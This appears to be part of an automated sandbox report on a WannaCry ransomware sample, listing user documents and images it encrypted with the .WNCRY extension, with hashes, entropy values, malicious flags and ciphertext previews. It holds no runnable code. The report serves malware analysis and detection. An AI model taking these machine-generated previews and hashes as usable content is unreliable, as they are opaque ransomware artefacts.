                                      Preview:WANACRY!.......h..|..U...V..9....?.!\..J.X...t.i-..;..DZb}..I.l..4?.!..1~....j1.j.......:...@.;.q.Nk.[.4.g.cY...........W.. &..+......{..F0..O.....%1...8..(%....~f.4.....5..>.."....xi~B...S..N.....S.jj.S...7.;v.UZMn....9..qke..+.s........(T...g..Bfg............../}.....>..r....1.....).r.H./R...........!.8P........?.pZ.@2=....Z....z..a.|...y.R.5.!N...E.N...O.....x.E;...Z...c:.(.!.^........6o`) L.a...p...L.)..o.HT...-b7.-"....t&..pc.$..g..+2Vc-1..5'..M.t.aT..iZ.._.1g.Rj|i.eE\.@..C.C.C..t..xo.e..L..J..v7..+......N.......].:.,.#.TIq...[...N.....%Z...... ..u.XPn..E..Ag.'..V...z.`...\......d.K[..Qn.......3v..`...c0..9...sRL.F.k...>Ft*.F.k.W.gJ{7D......F.'`.M......e.`..$7....f@......o....N.d'..x..tD.....<.F....+'..|:.Z..[0c..+.?..k.:..*H...r.....]..;...Xj].a.;D:b.\./#..K......u....f.r..ss.'..>Q_o~]|.[..*..8....blH..W\...t3.Avs.....F.....T.U..T.Z<i..7..o..;.....l.a....!.D..N.g1....i...$..{.CA..x.........,H.....*.V._......W.@*^...:.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834085523425231
                                      Encrypted:false
                                      SSDEEP:24:bkRz19lI3xKVDfV9OTpYsdeEPh4NEIWz5bTdqqf8Ne3fxGddJZ30:bkjjI3w7V9OTDeEZ4NA5bTdkk3fxGdd8
                                      MD5:7E9DC7F333E59486EAB78CBA1551EE5C
                                      SHA1:C2E323091A5D64E431BF21ABDEF944C67C6AEC39
                                      SHA-256:34A5D9B98F0507BA04D347882D3B845C1BE8865E4CD2434D80F2E0CE614F7E00
                                      SHA-512:95AA11B23F3A786DDC3F62C32599F7217A3F31F0B6F8DEFE0BBDFE8A8A77B328A4D69B01995332BB97EC7F3026251FE6E6CD6A62D15770B98ED5BCE82E24E982
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....@.`>.........i.....m.#.......%......o.]_........l >..=...f.z...OV....V..b../.<..... f .4o..@].s...L.'...$.....g..U/|2a.K#h...g$.s...[...........L...h`...g.3.....S..*.=R.=zu..}...A.K..sF..7.2..$.6....o.O.........7.`.....x..k..$.5qK@_.-..).&.!P,\..............:..GT...}W......3..y...=...9D.....[.;.....{..d.+#.V1....gK....f.[..&.'""H.B..*p. ..C..U.k...$.rN.......w..<...7.\..&.[..{Tc.*(..q.A$.......y....0`..7L*.S.Y.`.'....;.1.....Q.C..?..68D.\..g.=zm..p..|zI.F.....x.RWg..s.g....t..B......U`D.....c...v%...q..N..)...a...x=.R.D).,..%...............KAu.qlT.:!.P..z.?..........a.@.:4.,..........}rQ..1.b...E.XI......).P.5. ....!......;..?,..=J...$.=...p7....].'....e~.n#.p.U.=.*...V.....i. ..4...8R74n}.B&.GC..Zk...+...&w...?...5..4\...........{.,.V.......A..}...|.....o4.D...Hf...[.0k..%.JCeQ..?g.x.....?.#\u....+.......`..3O..r5Y....*-.e..3..w.....Y.Z.0.H..P.. .n.G...I.j...P....ur...J....r........I#HO....FN.......G..z..&.?....(_...

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.81777327284388
                                      Encrypted:false
                                      SSDEEP:24:bkqZ5VdghrTETjxeWOuQaUZ13kh5LGUfd8+PqUOxVT70+UXSigAFv:bkqZ5IVERCZ13iJfa+xyT70+7jov
                                      MD5:CFD559743E6F3D6E2C9C6E173C22E6EC
                                      SHA1:A786605A09947E74FE767A824EC71DEBBC3A5CFA
                                      SHA-256:C59E93441D6811E9BF0DCC76AAB7F7EEF64D92011C8BE4AB30B502A5CFCB679D
                                      SHA-512:48C93D13D365BE9BD8AB2D68AED02FF9FD3DADB1AF97E91D86A46B65708528E9B6DD9162E1B3F6929C77F8BED829F5DD4BE75C70D94E596F03304A7E38D64FA3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...../z......B.{..G.......3.b@..;9.O ..|F.h"......sw...a....X.@l.......e.H.!.V.,.)....:.."]#..G..u.7.,.<.}X....,.$.,TR...2......^.Dby6.=.....(9qu..v[..Xv(..5xQ.......9.f.?R.....f (*CM...bmq..'.}4.3.........).K....R..G,.....G..[.h..:..:..m.JUC."F.|.|.............X.)^b~.....R+.aRq=.E@....,.........`.f..>.....q....=c-w.x0^.5..B........2j.#?1F.A..6.M..wQK+..v{.....z.O. ,9#..n0]..=..D.....6..r.zd..V...v(/...c../6.\.%...Q.......-3..k(.piw....`..,...$. k*,7.$.x.kV...zF._.I....7..D-9...7.....@#i.d.....0...7...gi.K....#.(....@..j...r".M.SU....O....7b.I{..1S......dJ...52.I.v~..%...O.wy.x..3.E.U[I..r.]S........]&...<<.k.....5.Y...+#.t&.Y...3&.[[..+.^.Ra..."p....7.7......\...gbs........S.....^.=.../..=i....r..............o.L.F3.......p........^.I'.fSu...rM....0..2..E.@H.%..K',d.......m..`Q..W.Yaq....;G.6....H..#:...S.^.v.._.Sya.m.{a.....0.....+.....4.....G..x.c..3A.fx..X`.9............].J....Z.N.;.-B9._+.ggnu-.$E.f....e9.,w.....;...(....XX..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840852475393061
                                      Encrypted:false
                                      SSDEEP:24:bkdNJciKBruBjydjn71kj4N7BbtHqnvCSq+7vI7KY64OArkhwTKeoOT:bkb6BuBj0jnej4bbtHeKSq+jIyAwhmK8
                                      MD5:EF80D78D29C2BC10F118937FD7E20B8E
                                      SHA1:CCCCF60EB568B17EA836DBBE8EE78C7426C708E4
                                      SHA-256:D0CBA4A0D6B8982462FEFE9258991E82347537001FEA6E5F108D4B230A6C4E3A
                                      SHA-512:F4E6F1F2C037150AE5CBB807879B7A855E1B171B615FD5FA84580639EA00E840DE2AE6FAA25D43CD33F99166FC3AC45ABD2E71CCACA21D254B3EFB222F9C8DBB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......j....P....R...XL2%.R.:..0!.d=.....eu........./.*..L9ciQ....=1...hX.l.......|../S..F)..4<^.Q[...V.E.n..K.u.,.,..k`d.....{.J4......;z]{.Y.W>;.L...J..R.g.z...X.X.....m..n&.ls..`M1.^..V.....1...4dG~..-X~.N....q..=...}y..../..M..Df.?.!.!.8....] ............H%.x..a...$>.s.J..Q.......Y..M.<...R.@.....2G..E...7<x.(..M...,...T.[..{P.J[...]!...}.*...;..c.=..hB..O..........Gi..C.e....;..J.J....4...a..._.st.J...$.!j.%.AWbd0&.#0r..E..A@k..(^S.Dw.,..!..0..t.....4q.....8.]..1....lwb1...}. 3_.M.....\l...Lj..?g...s0.....u...U..Y..t........g%..8.....QS...%N..#].-X..NOL...aw.....N....%o.._u...F....ODK~)PP.2.......q......GSU..d!7.&}.....A.,....}..\T...a.1..x0~......>.]..[R.+wRw...M.{jB...N. 9.$..*..t.,+K~B.`*.+.5...m..6.^$b.u...N'y.aQ....B?N.AI..6..........hFM.W!...........h..+.|=sQs.......X.JS.t..CWp50o.....7&S0;...;.p.:........s7.@n.S.mc.lo5=...].....Nf......n..<.=...`N&F.............'.B....... ."..`.1.a.]....R..Bza..4..R..%G.P97.mOv.......

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841045343130748
                                      Encrypted:false
                                      SSDEEP:24:bkfG1+lNmUBPj/E053RFXztR4+Acc+gZjA1s/XtqF3UOmvv7mzr:bkfG1+lLNtXztRMccbZjA18Xe3UL7+
                                      MD5:538BAB8FBD0E87F23907BBCC33B48C7C
                                      SHA1:66D5C4C211700B0AFECACD46F9D08046A1451F4A
                                      SHA-256:3A283A97390713E6F4B18B2CB02216F4D1D80F303419E873BB9F7AEA51CB0F68
                                      SHA-512:2437FBDB522EC44E5F9E53014DEF068B70A35EDFA429CD8177C0E35BBEEAFD1A9CE9DEB21A447B63D1361819AF011805638BF99621FB8B96641E1D1014E2F778
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......m..md...3W...^...P0...3..y.?x...`AP..`...H.V.*>Z..}.......6.......M.....&+.p..C..u.I....Ar..xE..%U^.L......ta[.O..U...A..p[.k..5....>L?=[..!...c...Qg*U......n.#O..P..r.*.=B=....y...4-M.$&....y.G..2.....!..C.....y.o..!dj.....\..a..Y......f.....z............).w#.6.L...qZ......_*...%A....F._,Z>.U.@.h.j)s...O..l..>j5.Y..b.0..W..p:...D.X:GY$..NA}....M..a.LT....=.h(/.|......K.._+<....$...l.=Nh..K{.O...&.S.s.....e.*.h...r...,rG...$..-Q...'..,~.>r.DT.|.......OE=.X=.../..4.:....q6........Q$..*..'.c,................t..../e..Z.NE.Y/.!.1.._...M.X..A....J...R..m...b.?....m/..@7.q.kC.....\..K..1.ink...%w.e..ef...........D.i/>zQ..e...`{.......^.$............=....T5f".'9.....eF>cw.9|5m.........U ..T.=b.......h..:.}..s.S..K.~<..kM T3...9"*.....d[...........X.h...'EX...W.A...z..6..%...?&...e._n.l.`....~.o.. ..t.H...rk.3....o..]..u...P...........9.../7*...A<(5c.Bk5....6N.xve..T....w...#.s..5...:l..q.....4.M'..../...3^..}..mm.\.-1....L..%.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8381256085498
                                      Encrypted:false
                                      SSDEEP:24:bkfmJeBT34vN9MqRMpkZKey1f9+60DkQjHT7p7HZMK0YYKaioO:bkuu89MqRMUK71F+fDkQrvByu3oO
                                      MD5:0036489477D958F95B1940775ED96200
                                      SHA1:96EAA1ED6B1A0A168CBBD50F27806AFECC3AF95A
                                      SHA-256:2239FEF6DAA51645A70EAE4BE0F5D2ECA202601C6760007462B0541F579122A5
                                      SHA-512:AC5E31D52243537A3BCFAF57FF9FA0BD7BF14ACEEFEB81475FE8AFCC7E46DF73BFE81C09A7BA465817C7A6F6901D0132AD95552865D8D6FD394ABEEA003D6EA7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......9JL...p....kc.Y5.S.T4.......^v.S.).......v;..0r..C.%jG (..8.F..T.#....v..Bu_..HX...q.r.....*...d:c.`J..}.nv.9.&....@....w..P..C....V........:yA..}...Mo..Z.Ua%.p0.I.......\.\....p`.#.4.@}..f.Z..bh..8.+..H...n.5<?...:`..V.U`.asfo....$-...V...............T...E.H.0.oAVqP.....I='....}...gN..9....Hu.3..tB.....'uq.V...P...Lk...._........=F.......|.....z....e{w$3.ESV.t..'@p.....\.....Ic..:...,....=7....1.......?.</aJ........CS...;~...N.:.m/..V..\..b...._t6C/..4?.7'.E...pC....O..T...@.s....Q..q.*...)J..!...g.....]....Y.../.n.Q.......c..fY.D.t:..?....@...kC...W}#.Q.:..&a\f...6B1.....c...V..n..r...H$,.}E......)..tBs_."..?R...B...).E..&.S..(......>v.p.V.QgJ..e.[._.....Uu.W<..[..Q.k....^...%.}..UT.........pzk...U.....A6>....c.gkK....j;..k7...g..:..h<RJ].<.. ..B>q).c...S.Iy.8ZI2D.|...A[_.Y..C.C.).m.T..V..U......^.V.s..g<<...n.U>......1w...X..$....GX.w......M.g8`.......9 ...xL....?.D]..t..m.@.zq......;..m.......s.J.X?..Wi. ...q*.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837987191937544
                                      Encrypted:false
                                      SSDEEP:24:bkkI5ge+IMfHrvcvREDqwMN+8LUCusp989GpDfzHVPuqy30m1b:bkkI5ifQvuDso8LUCuspGGpDxPubH1b
                                      MD5:063285C72FB5C9C0DBE0876D02C158F9
                                      SHA1:E9E574C9FDB920F5588617D5CC6FF09A3FB2D613
                                      SHA-256:DAE70595400C3B20210A2B36E5BD74DD5B37731CBB24838DEBB171C27695A066
                                      SHA-512:5D0A2D690E5523D7659C3A0FE926DDF6ADA498C72FBD23067327D011735DEC9EA1EFEEE283D7498E839B89A4D3A6350E534BC817921044120A7EE821617FCD6E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....<.NZ.......(n.".|.+N..\...*.6.Q.......Y.x./...g....T#G...........r.&......-.P..u8.3o8......s.......7.."Vt..H.'.U.3...&..I'..T........5..........a.*1.K.n........H#.d.....?..z....nS...u.;1.*.....M.f...V....l........I,|.C..7..Z..RAr6.%...V.&..d.|<[.............w.n...m..].4.5....B.r.oEC...D.~..5.r^H.f.....Xr.La.].o'.m.[.....,..pfJN....%...~T...[@j.o5..%....iuS....u=f..i+...}...a[5.d..d .l...-.=%..=...W8z<..4}.I....{.n......k.t..|j!...=_..U..x...hu.T.L/.#...*.v....r..Qx[|t.&.F..v...[..r...%.......HC?....._....I.1.....(........d.;.1,s.c..+........./>R9.n@0..w.[l.c'..'X..Xk.PPW.....z"..8l...*)..().m]....".......R6..Y.k........`BDmm=2h.aJ..\.[...q~.BpU.TyO........&`}8.ixPb..;.j.h5..+y..n0._.0.....\...N\.....i..r@..~9...6w...<..`o....]...~..dm:.=W0..l....e.{.....J.M"].Pv..E..`..P..aA.R0...K...|.>}..c.......$.RK.r.P..........h...k.:..,.F`t..yyb.`5.._|..2.d. ....,...i...*}...P...h..E.."..k..&ixO.X./C.s.d....T..V..../'|.....<..{..7M...W..w.o.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850167354055032
                                      Encrypted:false
                                      SSDEEP:24:bkMYXOSv1ZpJ8Usy8HlW8eWZPN7NFgnn+V8RO7JEwe7IMMDj4E7XBHWz:bkMYew1bGhfRN7InnlIJ27I9EUXQz
                                      MD5:4C813E8E80DD71C5B2C478C28F0E7B8F
                                      SHA1:0508DC8F48DFA6E5D468FEC600E95B9729794067
                                      SHA-256:AE63E1EB78E8215DE43A7E76B1F92BC52342F752425593BE3432F18B14B6EE21
                                      SHA-512:E3B551720802EC173A0EA09F17CD17FA78B134B44E818B382CA65479F2C565A9143678D3EE1E341F79A33FBBB6CA77239485F86A4EB604AF4F3BA1E4A78532EA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......t.}......1i.z......_.....i71"..-q...g...j:.A.j.y.}...~......9.+e.}..|...b....K^....R/'..zt...x.z............V+^?...........[.B...V......A.bD.U..8a.>.O..T#.x0.o._.b...!..u........6....;.].,.H.)ph...|:.w...u...4.1..a..!......I2m.....=............|e.Z.. HQ.........`..ekv............>..r....BM..C.O...;._Z....=u....).$0..%w.D+O.J....y....v...dJ...k6.b...x...I...3.....E(lL..f..:..R0.w....H..d...*..d...X.../......X..zp.]....o...Z...W.......#.c.......pd{. .M{.......!.).....xTh.5&...6.q.13..y.C.....DDB..Z./..;>.+t.E..A:45."....Y..G.iDg.......S..|a...qJ.........]........d.......X..|.Vw...Z....A./......[j.I.oX.\.. F.....*..2...).}.N..mq.W.Ya.....~.a~V.#....x5.a...m...../.R....j.....c....:./...~...ek....RP...`..L.Wg..i^.c...,.V@s.`...IP.{..X...B.z.Y.n..yDy...%..w....W....iD..6....6..../7.......Yd....8.~{....M.Y..9..P..<0...G.Y.,.j.........S.......!X.........Z.../.....-....S.=.2...cRuY ...90r...~...........:.&....x\$7rN%.7.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):40984
                                      Entropy (8bit):7.99504337951622
                                      Encrypted:true
                                      SSDEEP:768:yBx1XnYFDVXs3AbitoGn5RImTmwX9Hc4Ge/nvdHtLbdJBaiHAk/JN:yz1XYFZYmGDXrGCvvLbNaHk/f
                                      MD5:77E4A94F4569C1B769A70D498F0FF201
                                      SHA1:816194490C486630BB02E8F5AC67630224882B20
                                      SHA-256:5864A37401A74E70E74A6A2EA5DA68DC09C4E6CE2540F61EAE973970136AE324
                                      SHA-512:57BE0F41DF67BD4758EAE94BDB664BA5D647A1CDD36500D32BB655186EC6056F561CE3463E200AE1EFC273325053FD637D860D1FC7C4C4DD0A0FF5CE94695DE6
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......s...{...;!Iv]}...2.MQU>3......V'GQ......j...r..YQ.../..:.b..H....U..y.l.Q..-.`vNt.......7.M'..m..4.o...$.........bV..T9.ak.JY....7.........p..7..._I...7~..)m^.q${.I...52i./.].gS.6.X....2k.A.#.3.O:).o&.....V...;5..V_)r..'.aR-.D>{^[..s;.X".............~...rn.$.E....s...n.....gu0..G....Y..(,...;....9ml.p0...#.Z..(....#/.}..2....G.%.%........|.Tr....f..p..g....IL...._,kl".f.+...()qqv/A.`bj.._..b(`...k......Bs..K.Z......mp..j.....x........l..d......+A<Z.Q..C..4p..%*{..z....f..........t:......A%..*J..s.%.*..D......".J.7.....m..C.^...z..N...t.A`.......j........<.s....:<......R./GFF.P-R...`d.. .U..Y..h....R....w.{......C..U}.a..u\.h....q.aB.'=..Q.}..l.=.....I."m.X.. q*..6.Z.....e....2.}.P..?* ....*2......&....S...51R.).c]>.$....o...xLY.G]....c.G...1....Rn4...:JG.m..!.v.......;,..B...b..R.m.3HEb}..^.}.@.9.m.)....@.).s.d.H.>..].............mg..v.w...$.....C..........+..x.A.J.H..t..[..-U..&@C...[...>.b&h.H.<Y..)....5..(.y..K*..@

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):125288
                                      Entropy (8bit):7.998444938739309
                                      Encrypted:true
                                      SSDEEP:3072:P63a1mGWYovssmOLA72AxReLIoeWNlGl6NuxwVQC+DHl3:P6KVsRA728neuxwV7+DF3
                                      MD5:C9936681CA49F2D2C5024EF78C85DAAC
                                      SHA1:8F53EC98D2B203140338433B04615B9937E8AC7B
                                      SHA-256:E5A8C6A15F7FBAFB3588155CF2B062B7185B567757684C309A435A0D01B06A24
                                      SHA-512:D52D41944D9C380DCB37BB464888554493817405C062B963C7A7F4BA2F609D8B969D62EBB716D69909B9505F76B86FAC6F9BC25B24725E1A7D99E872FE37A8D3
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....V.4.H,&oC.3P.Y?.). ...2...r2Ojug}..xy..w.s.io..l^..H..ss.......*.M.. .n.i...a..........8....3.M5.u.F.+J$I....<.V...........DkGY..(a.X.....^......(.9r..k.eD..W....v|.$A...*<..,.)... ...'.....+.X...r.!<...L.l...g.._...#<..Nb..-.e<&.......#...1........D........Y......H.zqyq....#8.gW...L.Im\......d3.1.c.J.....;......t..*9..7...QK..:8`..z.mh..&.0v?...As.0k..U^.....V.......).D1Jp0.d....x..t.u....M`xo0........J.l.v.,b.}S.-........r'..w.....+R.2.L3...S=w.7..gC.W.....wO.l.....2<$..O.c,...DX.!=.$...#y..v8.B......V......#+.M<..T.../n.......{...c..n#.\:s...........o.T6v.1y.C.5..<...F.[.?............Tls...+...aG..F.n..C...).~.1..C.}V(....+\u.NU.*."@L..4"..>$.]....a..p.za..v.......7}...@. ....\G*.B..Hz.}.'B...#i.{K.=r/iY.. .i...........Q.....A^.5.S-...#.*...FO.~...,E..6_....0...U....,kxU.`.lJ...`...4>|./..3.._.....g...f....(.C...)M.....B..{.BJ!..[..v..q~fc.v.m...4N.7..|;.........&.1.,,.i%..g....d..|V..1$.wD.zC..%.O.........u.G....\&..j.4..N...

                                      C:\Documents and Settings\user\Downloads\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845006466601944
                                      Encrypted:false
                                      SSDEEP:24:bkIJqCHVzk8F3nvR4vO5c3gLWkYJO6fxaM1dQ6Rt69jDjvyI/MJALtINLts7N:bkIq0Vg8lnvYLfoidQ6GxDjnkSmLtsB
                                      MD5:E1C933BD07736ADCE2E1B7D3F0F648F3
                                      SHA1:F58BCEF9E18E3963E5347304CA11283E9FD9A191
                                      SHA-256:F75152108B17932BB95BFF6CEB34E0BE9A170FB01D0D0FCD6A5FA144B5504E6D
                                      SHA-512:0C489EECBAFEFCD9F68C7F978F2EAA89C324CAC4D3587B33063FB42F9240DA742C0C896865FAA2728287DB8DA3EED45B656F6571F3B3B3C5FDCFBE2BE4FE4DEA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......8.O...kGN.x.Ui"d..Y..;.+?.v.....n..}8.L...t..1l>G...z....p.2...k.Df\:N@..h.Zw3A.gUd.Y..hf.A..E.5+).....L.(..Z...:G....E.q....=.1.N..8.<FI..d.kx.R..a...../..L..I...{+[r"g...L.`.........yi.1.*....9]I.BYJ.......|.A...l.#.v.%.)3..."M.8.*<....O$..............G.D.........ckK..]....|w0..7Q..[..6............o.BTu..A..X...F1......P..tWTn....=.J.S..y.6........%Ykl.^A!f..G.9.m.q....&.;5.>..-.......Y......b..\j[-.C'..Y..*...00.&..V.?k....6..e.?.......s..h...@..+.....V...Y).".w.;.L6m,8..4*C...]...w.!.W.J.r,.P0}..`.l]..[.!..3...`..@.tb......f..^.2;..M..j~..~.F..F."...yE.u..h.+..P.E..m.(S.....`.........=aX2..=(\+..@.......'1...s.2/.I...sQ...:<.D.......i.......G............ZF.]~.L..Uh...E....t.!H..U.F.../.6..O.3.......L./..P{..itcL:..b......'/...X..;.m4C...!..Z..M..f5.....H.=.`b.r.>].N....... ..K.}.2.g..s....$s<.........2....^...6).......)..h..D..#.q.0.n.xW.}.\EQV.N.KB.9W;.D-$..v....Z.ZK..!...c.._....`...{....f.t...L.~.'../.>....*+.......a..

                                      C:\Documents and Settings\user\Downloads\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836934546871312
                                      Encrypted:false
                                      SSDEEP:24:bkVVy+oJAsPvZWgVTJJPc4msHQwgP7uFWmsu3Z31R4IbBKpN84jPOPRqkx:bkVVoqovot4mcdK7wbR4WBKpNpjcUc
                                      MD5:6BEF37739BD30EBF19702302C90CE361
                                      SHA1:2B6B52ACA3054CB7B7C9542843698234DEBB277F
                                      SHA-256:0D1B020347312DF97067B9F3E90DAF73644D714F751B5BA54C881AC59F00A0E2
                                      SHA-512:8126958219E80297A4DB16D964024D0193776EAB33B3E8805C24F779994B2253B155429740F8D3F14270DE6E8808ED8AE94D31EA8C1E8085936C746558891995
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....9..g ...mM.....I.D../..\..U,..h.+F]bB.+.~i..=...).d-.Xk(..UO...u.........G!.F..f.b.n.._.....Bc...'.Ez...yk.2.c...Q,$...D...a.).....(....*i-..N...Cu.].@.aQ|\.[.>O...&.._ .=..!t@_.9........d.!......FRa.)'.i......7^,..B*........56..jx...WVXq6P...............UB.g.h\.(....18p$.....s....y.@z#.......X.a.....~....8.......-x.(..Q#.l...4.%....0..4E...B.xC..(k.....d....v....[.X.....T?...a........p.Wa~t....B>n.L.{..M......>.x..n.p.ID..{..y.X..3#}..%.~......;>O;bDen.=...9....+...(....}.Yxq.Eb..X.E.ym.".A..8.fK.Y...v.=Y.6u6.k....]..s...w....Q..ja...z....b._.N...A.C.L...!....jg..e...f....w...m..\F....vQ.../..."F......V.c|9YP. .T.T....g.&U\r7,).".......Y-t^..-!..s..0.3.o.$....qO.f.k..3F....^....R$e......s.h6.Qu........Z......N.[...Rp.7@N..u.,...._.W7...Z..:.1wM..EI.e0\3.......v.W.d.x('..Kl..~G."V..]kZ.J .%H.....n9.......I......0.S<2.x...k....m,..A..y....6....W.%.!...hU6...EWC.awO...W.%..|..D....8...........e....!.2(B......=..v#J......t..

                                      C:\Documents and Settings\user\Downloads\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83090618299399
                                      Encrypted:false
                                      SSDEEP:24:bkk48JeKt3sf5EyRvXFNAiQjYKy6nDfSHfLMZ4K6xgKQ/GmOvHF6p/:bkT8JekOEyRvVWiajy6nDSTMH6DQAEx
                                      MD5:9EBB666D3231D8A9B0804C578DACE844
                                      SHA1:4650209F13F0593D922E692040B7814E0F7A400C
                                      SHA-256:95BDFFAD8E7780C5EE1910A6AF67FE05A9EB96720E8C378CB9FDB72CE55ED791
                                      SHA-512:6B66E02A4EC9DD212ABDCE17E684B83A6457B37FD758A0DFD4520EFD6B172726DD94F52C57393C138C7F8847E803491658BEB7A53C3F103DD08A6115654DBB2D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........,Zi......1.4[.\o.)Q.0..$.nm$.<.........k..%|.T.....T6.j.B8z%..r.by..3Ebm...8..?.y.q.|..L..j.~Q..=h.>..o.vu..*.aj.t..*...2.[..P.`..V.D .....pH....".X.[....5(&......`._..~..d=.q.,.....!.R".Q..T.M..aj...X...A[.`8!6g......w_...>...O\C......4.A..."............HQ._)W.....z...,........;..a...j{...]q.\...^.>&...E.'.......6J...D....VA.D!k....v.$...l.....S..|JZ}.R.e......2.-.bu.-y...t\...T1.V.../..Js......~..>.....G.A.ro..u..O...O... .d..Q..Q[^..3.hGP..]i!R........9"Q..[.(|..r...XT.....%$.'..%M6f.....-J.P..}..F...i.-.6.O........!.A8.l..I2G.........%.e.d1G*...EN.J.y_..xP.w.z.J.....W.Y.*...~.H...@.[.....}.-....mJ...)!....A.O.&.0{..\{.......`....,:a.W......@.|?7....%....qy,S.u..x>..wM.u...Q.F.v...g.-.#G..Q....2.........cOcP.u.Wd)....Z[}...j.j....6.00..=&..be&.....;.(......-s^H_..HH...C$yO.....O)m.4d.^z..IY..$o..]K.m(..F.O......q.$.k0.(k.....j./X?..G..C..`\.=....tF....y[.S!......].../?.....>,Zk...Ap$..Jl.%Y..G.....M.....I..n.....j...,x)2}.

                                      C:\Documents and Settings\user\Downloads\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841390074776569
                                      Encrypted:false
                                      SSDEEP:24:bk6e0Sg0l0s9jexD/7yXyl1aT2KRGQwP5/dt2L5JfHuBQdemInmT4NUc3H5:bk6Gg0Jw778yW6KUTP5/SVddemCmTuBZ
                                      MD5:A2664B0C56CC12F6D4BB606A6E6ED876
                                      SHA1:7E44B0C6E526AEA3F4FBF2144B942ACFC3A6A6D3
                                      SHA-256:2757237A5D8EAFEF03F66B89BA830FAAEFDAD7C4D622D7236EA98898F728CFBF
                                      SHA-512:47A4F8B7147803D2C180C20B3078471143AA49370480D31FE3A3BC6D37844865302775D9FC5BDD14AC7ED5560C86A8F0ACF5760DDD4FAE30C6674FFB76889539
                                      Malicious:false
                                      Reputation:unknown
